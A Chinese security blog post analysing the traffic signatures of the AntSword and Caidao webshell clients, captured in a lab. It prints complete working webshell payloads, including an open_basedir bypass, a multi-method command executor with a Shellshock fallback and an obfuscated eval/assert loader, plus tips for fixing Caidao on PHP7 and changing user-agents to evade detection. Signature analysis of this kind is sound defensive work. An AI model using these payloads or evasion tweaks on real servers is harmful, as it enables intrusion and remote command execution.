常见webshell客户端特征分析(上):菜刀、蚁剑

发布于: 2025-05-06 00:21

本文学习其他师傅博客,分析常见webshell客户端特征

常见webshell客户端都使用POSTREQUEST请求而不是GET请求

  • 隐蔽:避免payload直接暴露在url,容易在日志中留下痕迹
  • 长度:POST请求可以传输更长的payload,避免长度限制

蚁剑

蚁剑项目地址:https://github.com/AntSwordProject/antSword

技术栈

  • Electron
  • ES6
  • dhtmlx
  • Nodejs

流量特征

  • POST请求
  • 老古董UA头
  • POST参数值php代码明文传输,payload base64编码
  • 隐藏处理@ini_set("display_errors", "0");@set_time_limit(0);
  • 使用随机参数名,参数值使用2位随机数+base64编码内容

特征分析

查看burp代理配置,默认监听8080端口

1

burp开启拦截

2

配置蚁剑代理,使流量走8080端口,点击测试,可以看到burp抓包。保存配置,重启生效。

3

使用蚁剑连接准备好的服务器webshell,拦截到了webshell连接时的请求

4

数据包

POST /shell.php HTTP/1.1
Host: 192.168.6.112:8080
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1749
Connection: close

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.b59d502%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%2280db0%22.%22e85832%22%3Becho%20%40asenc(%24output)%3Becho%20%22ec1b%22.%2279bff%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B

相比于普通用户,分析这里的UAUser-Agent 查询 ,可以知道,11年的老古董ua头了

User-Agent: Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1

5

POST数据包内容:password=php codde,格式化分析一下

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
    $ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr=preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
    foreach($oparr as $item) {
        if(!@is_writable($item)) { continue; }
        $tmdir=$item."/.b59d502";
        @mkdir($tmdir);
        if(!@file_exists($tmdir)) { continue; }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");
        $cntarr=@preg_split("/\\\\|\\//", $tmdir);
        for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }
        @ini_set("open_basedir","/");
        @rmdir($tmdir);
        break;
    }
}
function asenc($out){ return $out; }
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "80db0"."e85832";
    echo @asenc($output);
    echo "ec1b"."79bff";
}
ob_start();
try {
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="") $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}\t";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z") as $L)
            if(is_dir("{$L}:")) $R.="{$L}:";
    } else {
        $R.="/";
    }
    $R.="\t";
    $u=(function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
    $s=($u) ? $u["name"] : @get_current_user();
    $R.=php_uname();
    $R.="\t{$s}";
    echo $R;
} catch(Exception $e){
    echo "ERROR://".$e->getMessage();
}
asoutput();
die();

分析:

隐藏处理:抑制脚本报错,避免错误信息泄露引起管理员注意,设置脚本运行时间限制为0,蚁剑可以长时间连接执行webshell

@ini_set("display_errors", "0");
@set_time_limit(0);

目录穿越:通过创建并进入子目录,设置..为根目录,这里的..应该有双层语义吧,既可以表示上级目录,也可以表示配置的根目录,通过..不断穿越到上层,再设置..为根目录,实现了目录穿越,绕过了open_basedir限制

if(!@file_exists($tmdir)) { continue; }
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\\//", $tmdir);
for($i=0;$i<sizeof($cntarr);$i++){ @chdir(".."); }
@ini_set("open_basedir","/");

信息探针:获取当前目录、操作系统、用户名等信息,方便后续操作

$D=dirname($_SERVER["SCRIPT_FILENAME"]);
$u=(function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
$s=($u) ? $u["name"] : @get_current_user();
$R.=php_uname();

继续往下,尝试打开虚拟终端,简单执行ls命令,burp抓到一大坨数据包

6

POST /shell.php HTTP/1.1
Host: 192.168.6.112:8080
Accept-Encoding: gzip, deflate
User-Agent: Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11
Content-Type: application/x-www-form-urlencoded
Content-Length: 4840
Connection: close

1=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(%22%2F%3B%7C%3A%2F%22%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.947b1dd388%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22b82%22.%22081%22%3Becho%20%40asenc(%24output)%3Becho%20%220b87%22.%227325e%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22pce8f422c382ad%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22l7aa1832b83fbc%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22uf31f0e8b4315e%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&l7aa1832b83fbc=mRY2QgIi92YXIvd3d3L2h0bWwiO2xzO2VjaG8gZjVkNzNiNGJkMTtwd2Q7ZWNobyBmYTRkNWU4ODliZmU%3D&pce8f422c382ad=44L2Jpbi9zaA%3D%3D&uf31f0e8b4315e=Ol

UA头发生了变化

User-Agent: Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11

post内容:

@ini_set("display_errors", "0"); // 关闭错误信息输出
@set_time_limit(0); // 不限制执行时间
$opdir = @ini_get("open_basedir");

if ($opdir) {
    $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
    $oparr = preg_split("/;|:/", $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());

    foreach ($oparr as $item) {
        if (!@is_writable($item)) {
            continue;
        }
        $tmdir = $item . "/.947b1dd388"; // 创建一个临时目录
        @mkdir($tmdir);
        if (!@file_exists($tmdir)) {
            continue;
        }
        @chdir($tmdir);
        @ini_set("open_basedir", "..");

        // 目录穿越至根目录
        $cntarr = @preg_split("/\\\\|\\//", $tmdir);
        for ($i = 0; $i < sizeof($cntarr); $i++) {
            @chdir("..");
        }

        // 尝试取消 open_basedir 限制
        @ini_set("open_basedir", "/");
        @rmdir($tmdir);
        break;
    }
}

// 简单的输出编码函数,实际未做处理
function asenc($out) {
    return $out;
}

// 统一的输出方式(带标记)
function asoutput() {
    $output = ob_get_contents();
    ob_end_clean();
    echo "b82081";
    echo @asenc($output);
    echo "0b87325e";
}

ob_start();

try {
    // 从 POST 中提取参数(base64 解码,去除前两个字符)
    $p = base64_decode(substr($_POST["pce8f422c382ad"], 2));
    $s = base64_decode(substr($_POST["l7aa1832b83fbc"], 2));
    $envstr = @base64_decode(substr($_POST["uf31f0e8b4315e"], 2));

    $d = dirname($_SERVER["SCRIPT_FILENAME"]);
    $c = (substr($d, 0, 1) == "/") ? "-c \"{$s}\"" : "/c \"{$s}\"";

    // 设置 PATH 环境变量(Unix / Windows)
    if (substr($d, 0, 1) == "/") {
        @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
    } else {
        @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
    }

    // 设置自定义环境变量
    if (!empty($envstr)) {
        $envarr = explode("|||asline|||", $envstr);
        foreach ($envarr as $v) {
            if (!empty($v)) {
                @putenv(str_replace("|||askey|||", "=", $v));
            }
        }
    }

    $r = "{$p} {$c}";

    // 判断函数是否可用
    function fe($f) {
        $d = explode(",", @ini_get("disable_functions"));
        if (empty($d)) {
            $d = array();
        } else {
            $d = array_map('trim', array_map('strtolower', $d));
        }
        return function_exists($f) && is_callable($f) && !in_array($f, $d);
    }

    // 利用 shellshock 漏洞执行命令
    function runshellshock($d, $c) {
        if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
            if (strstr(readlink("/bin/sh"), "bash") !== FALSE) {
                $tmp = tempnam(sys_get_temp_dir(), 'as');
                putenv("PHP_LOL=() { x; }; {$c} >$tmp 2>&1");

                if (fe('error_log')) {
                    error_log("a", 1);
                } else {
                    mail("a@127.0.0.1", "", "", "-bv");
                }

                $output = @file_get_contents($tmp);
                @unlink($tmp);
                if ($output != "") {
                    print($output);
                    return True;
                }
            } else {
                return False;
            }
        }
        return False;
    }

    // 执行命令的主函数,支持多种方式
    function runcmd($c) {
        $ret = 0;
        $d = dirname($_SERVER["SCRIPT_FILENAME"]);

        if (fe('system')) {
            @system($c, $ret);
        } elseif (fe('passthru')) {
            @passthru($c, $ret);
        } elseif (fe('shell_exec')) {
            print(@shell_exec($c));
        } elseif (fe('exec')) {
            @exec($c, $o, $ret);
            print(join("\n", $o));
        } elseif (fe('popen')) {
            $fp = @popen($c, 'r');
            while (!@feof($fp)) {
                print(@fgets($fp, 2048));
            }
            @pclose($fp);
        } elseif (fe('proc_open')) {
            $p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
            while (!@feof($io[1])) {
                print(@fgets($io[1], 2048));
            }
            while (!@feof($io[2])) {
                print(@fgets($io[2], 2048));
            }
            @fclose($io[1]);
            @fclose($io[2]);
            @proc_close($p);
        } elseif (fe('antsystem')) {
            @antsystem($c); // 自定义函数或后门
        } elseif (runshellshock($d, $c)) {
            return $ret;
        } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) {
            // Windows COM 执行
            $w = new COM('WScript.shell');
            $e = $w->exec($c);
            $so = $e->StdOut();
            $ret .= $so->ReadAll();
            $se = $e->StdErr();
            $ret .= $se->ReadAll();
            print($ret);
        } else {
            $ret = 127;
        }

        return $ret;
    }

    // 执行命令并打印结果
    $ret = @runcmd($r . " 2>&1");
    print($ret != 0) ? "ret={$ret}" : "";

} catch (Exception $e) {
    echo "ERROR://" . $e->getMessage();
}

asoutput();
die();

同样做了隐藏处理、绕过目录限制,另外还判断了系统类型,尝试各种可以执行命令的函数,还额外添加了shellshock漏洞利用的代码,尝试执行命令

最后传入了几个参数,参数名是随机数,值是base64编码的命令,解码时需要去掉前两个字符

7

8

把蚁剑AntSword-master的目录拖进vscode,分析一下源码

找到了user-agent的相关文件random-fake-useragent,可以找到蚁剑的UA头都是从这里随机拿的

9

10

粗略可以看出都是老古董ua头

操作系统:

  • Windows NT 6.x(win7、winserver)
  • Mac OS X 10.x(mac)
  • Linux i686(linux)

浏览器:

  • Opera 9.80
  • Chrome 40.x
  • Firefox 31.x
  • Safari 5.x

这里的老古董ua头也算是webshell流量特征,绕过检测可以换成新版本ua头,看起来正常一些

菜刀

菜刀项目地址:https://github.com/raddyfiy/caidao-official-version

流量特征

  • POST请求
  • 随机xff头
  • UA头伪装为百度爬虫
  • 存在明显的assertevalbase64_decode等函数直接利用或者间接拼接动态调用
  • 接收一个POST参数z0,值为base编码的@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};代码
  • payload使用base64编码,QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtZ开头

流量分析

下载2016版菜刀,连接准备好的webshell,使用wireshark抓包

11

wireshark抓包,筛选http请求,找webshell的POST请求,追踪http流

12

这一大坨payload

array_map("ass"."ert",array("ev"."Al(\"\\\$xx%3D\\\"Ba"."SE6"."4_dEc"."OdE\\\";@ev"."al(\\\$xx('QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiWEBZIik7JEQ9J%2Bato%2BWcqOi9veWFpeWfuuacrOS%2FoeaBry4uLlxcJzskRj1Ab3BlbmRpcigkRCk7aWYoJEY9PU5VTEwpe2VjaG8oIkVSUk9SOi8vIFBhdGggTm90IEZvdW5kIE9yIE5vIFBlcm1pc3Npb24hIik7fWVsc2V7JE09TlVMTDskTD1OVUxMO3doaWxlKCROPUByZWFkZGlyKCRGKSl7JFA9JEQuJy8nLiROOyRUPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVtdGltZSgkUCkpO0AkRT1zdWJzdHIoYmFzZV9jb252ZXJ0KEBmaWxlcGVybXMoJFApLDEwLDgpLC00KTskUj0iXHQiLiRULiJcdCIuQGZpbGVzaXplKCRQKS4iXHQiLiRFLiJcbiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygiWEBZIik7ZGllKCk7'));\");"));

格式化分析一下,格式类似eval("\$xx=\"BaSE64_dEcOdE\";@eval(\$xx('base64编码内容'));");,动态调用assert,eval函数,执行base64编码的内容

太露骨啦(捂脸)

@ini_set("display_errors","0");
@set_time_limit(0);
if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};
echo("X@BY");
$D="..."; // 这里是加密的路径
$F=@opendir($D);
if($F==NULL){
    echo("ERROR:// Path Not Found Or No Permission!");
} else {
    $M=NULL;
    $L=NULL;
    while($N=@readdir($F)){
        $P=$D.'/'.$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
        if(@is_dir($P)) $M.=$N."/".$R;
        else $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);
}
echo("X@BY");
die();

隐藏处理: 首先也是做了隐藏处理,抑制错误信息输出,设置脚本执行时间为0

@ini_set("display_errors","0");
@set_time_limit(0);

扫描目录: 打开目录、遍历目录

while($N=@readdir($F)){
        $P=$D.'/'.$N;
        $T=@date("Y-m-d H:i:s",@filemtime($P));
        @$E=substr(base_convert(@fileperms($P),10,8),-4);
        $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
        if(@is_dir($P)) $M.=$N."/".$R;
        else $L.=$N.$R;
    }
    echo $M.$L;
    @closedir($F);

报文里存在返回的错误信息

<b>Warning</b>:  Cannot call assert() with string argument dynamically in <b>/var/www/html/shell.php(3) : eval()'d code</b> on line <b>1</b><br />

解决:菜刀连接一句话木马出现:Cannot call assert() with string argument dynamically错误

payload里使用了assert函数动态执行代码,在php7里,这个特性已经移除

caidao.conf,修改payload模板

<PHP_BASE>
eval(base64_decode('%s')); 
</PHP_BASE>

古人的智慧,原来大师早就预测到ua可能过时作为流量特征了,留好了模板等后继者修改适配

13

修改后保存,再次连接webshell,成功连接webshell

14

wireshark抓包,筛选http请求,找webshell的POST请求,追踪http流

能看到,数据包里使用了随机的xff头,ua头伪装成百度爬虫,payload使用base64编码QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtZ的开头

15

解码看看

@ini_set("display_errors", "0");
@set_time_limit(0);
if (PHP_VERSION < '5.3.0') {
    @set_magic_quotes_runtime(0);
}
echo("X@Y");
$F = '/var/www/html/shell.php';
$P = @fopen($F, 'r');
echo(@fread($P, filesize($F)));
@fclose($P);
echo("X@Y");
die();

参考

其他

写之前有几点一直无法动笔写下去

  • 一篇文章写四个webshell客户端蚁剑、菜刀、冰蝎、哥斯拉,会不会篇幅太长了?

开两篇写,一篇写蚁剑、菜刀,另一篇写冰蝎、哥斯拉,不行就冰蝎、哥斯拉单开两篇

  • 比较熟悉蚁剑,其他三个没用过,又存在新旧版本不同特征,既陌生,工作量也有点大

顶不住也要顶

  • 为什么要分析webshell客户端流量特征?

从防御方面来看:可以通过流量特征识别攻击流量、攻击行为,进行拦截、报警等操作。

从攻击方面来看:分析webshell客户端默认流量特征,二次修改,减少被管理员检测、察觉的敏感操作,提高攻击隐蔽性。

oh,这该死的掌控感